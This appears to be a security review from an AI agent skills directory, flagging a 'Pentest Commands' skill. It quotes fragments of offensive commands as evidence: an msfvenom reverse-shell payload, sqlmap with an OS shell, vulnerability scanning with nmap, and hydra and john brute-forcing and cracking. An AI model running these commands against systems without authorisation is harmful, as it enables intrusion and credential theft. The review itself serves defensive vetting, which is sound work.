The Agent Skills Directory

[COMMAND_EXECUTION] (HIGH): The skill provides numerous commands for invasive tools like nmap, nikto, and sqlmap that allow an agent to actively probe and exploit network infrastructure.
Evidence: Commands such as nmap --script vuln for automated vulnerability scanning and sqlmap --os-shell for gaining remote command execution via SQL injection.
[REMOTE_CODE_EXECUTION] (HIGH): The skill includes instructions for using msfvenom to generate malicious payloads (reverse shells) for multiple platforms (Windows, Linux, Web).
Evidence: msfvenom -p windows/meterpreter/reverse_tcp LHOST=... -f exe > shell.exe and similar commands for PHP, Python, and Java payloads.
[CREDENTIALS_UNSAFE] (HIGH): The skill provides automated brute-force and password cracking command references, facilitating unauthorized access to various services.
Evidence: hydra commands targeting SSH, FTP, RDP, and SMB, along with john the ripper commands for cracking local password files and SSH keys.
[PRIVILEGE ESCALATION] (MEDIUM): Some commands, such as airmon-ng start, typically require administrative or root-level privileges to interact with hardware at a low level.
Evidence: Commands in the Aircrack-ng section require monitor mode which usually demands sudo/root access.

Pentest Commands